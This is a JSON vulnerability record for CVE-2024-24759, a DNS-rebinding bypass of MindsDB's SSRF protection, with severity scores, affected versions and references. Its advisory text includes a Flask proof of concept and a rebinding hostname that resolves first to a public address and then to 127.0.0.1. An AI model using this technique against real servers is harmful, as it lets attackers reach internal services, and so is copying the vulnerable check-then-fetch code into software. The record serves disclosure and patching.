{"id":"CVE-2024-24759","aliases":["CVE-2024-24759","GHSA-4jcv-vp96-94xr","PYSEC-2024-74"],"related":[],"kind":"vulnerability","state":"published","title":"MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding","summary":"MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 23.12.4.2, a threat actor can bypass the server-side request forgery protection on the whole website with DNS Rebinding. The vulnerability can also lead to denial of service. Version 23.12.4.2 contains a patch.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 23.12.4.2, a threat actor can bypass the server-side request forgery protection on the whole website with DNS Rebinding. The vulnerability can also lead to denial of service. Version 23.12.4.2 contains a patch.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nDNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms`  would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase:\n\n```python\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    return ipaddress.ip_address(ip).is_private\n\n``` \n\nAs you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.\n\n### PoC\n\n```python\nfrom flask import Flask, request, jsonify\nfrom urllib.parse import urlparse\nimport socket\nimport ipaddress\nimport requests\n\napp = Flask(__name__)\n\n\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    if ipaddress.ip_address(ip).is_private:\n        raise Exception(f\"Private IP address found for {url}\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n    return \"http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr\"\n\n\n@app.route(\"/check_private_url\", methods=[\"GET\"])\ndef check_private_url():\n    url = request.args.get(\"url\")\n\n    if not url:\n        return jsonify({\"error\": 'Missing \"url\" parameter'}), 400\n\n    try:\n        is_private_url(url)\n        response = requests.get(url)\n\n        return jsonify(\n            {\n                \"url\": url,\n                \"is_private\": False,\n                \"text\": response.text,\n                \"status_code\": response.status_code,\n            }\n        )\n    except Exception as e:\n        return jsonify({\"url\": url, \"is_private\": True, \"error\": str(e)})\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n\n```\n\nAfter running the poc.py with flask installed, consider visiting the following URLs:\n\n1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website.\n3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true`\n4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`.\n\nI set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot:\n\n```\n{\n  \"is_private\": false,\n  \"status_code\": 200,\n  \"text\": \"<pre>\\n<a href=\\\"poc.py\\\">poc.py</a>\\n</pre>\\n\",\n  \"url\": \"http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/\"\n}\n\n```\n\n\n### Impact\n - Bypass the SSRF protection on the whole website with DNS Rebinding.\n - DoS too.","format":"markdown","source":"ghsa"},{"lang":"es","text":"MindsDB es una plataforma para crear inteligencia artificial a partir de datos empresariales. Antes de la versión 23.12.4.2, un actor de amenazas podía eludir la protección contra falsificación de solicitudes del lado del servidor en todo el sitio web con DNS Rebinding. La vulnerabilidad también puede provocar una denegación de servicio. La versión 23.12.4.2 contiene un parche.","source":"nvd"}],"published":"2024-09-05T16:30:38.659Z","modified":"2026-06-17T07:14:48.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","score":9.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-350","CWE-918"],"affected":[{"ranges":[{"version":"< 23.12.4.2","status":"affected"}],"vendor":"mindsdb","product":"mindsdb","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"23.12.4.2","status":"affected"}],"vendor":"mindsdb","product":"mindsdb","cpe":"cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"23.12.4.2"}],"ecosystem":"PyPI","package":"mindsdb","purl":"pkg:pypi/mindsdb","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"23.12.4.2"}],"vendor":"mindsdb","product":"mindsdb","cpe":"cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"5f7496481bd3db1d06a2d2e62c0dce960a1fe12b"},{"type":"ecosystem","introduced":"0","status":"affected","fixed":"23.12.4.2"}],"ecosystem":"PyPI","package":"mindsdb","purl":"pkg:pypi/mindsdb","repo":"https://github.com/mindsdb/mindsdb","source":"pysec"}],"references":[{"url":"https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24759","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/mindsdb/mindsdb","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-09-05T17:45:02.937Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-24759","url":"https://www.cve.org/CVERecord?id=CVE-2024-24759","licence":"CVE Terms of Use","modified":"2024-09-05T17:46:08.516Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-4jcv-vp96-94xr","url":"https://github.com/advisories/GHSA-4jcv-vp96-94xr","licence":"CC-BY-4.0","modified":"2024-11-27T05:26:05.597Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-24759","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24759","licence":"Public domain","modified":"2026-06-17T07:14:48.137Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2024-74","url":"https://osv.dev/vulnerability/PYSEC-2024-74","licence":"CC-BY-4.0","modified":"2024-09-06T15:42:13.120Z"}],"updatedAt":"2026-11-25T22:58:45.124Z","epss":{"score":0.04936,"percentile":0.92329,"date":"2026-12-01T12:00:22.000Z"}}